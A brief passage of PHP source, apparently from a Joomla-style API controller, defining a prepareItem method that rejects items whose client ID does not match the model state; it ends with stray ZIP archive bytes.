@return object * * @since 4.0.0 */ protected function prepareItem($item) { if ($item->client_id != $this->getModel()->getState('client_id')) { throw new RouteNotFoundException('Item does not exist'); } return parent::prepareItem($item); } } PK �b�\<=0O O <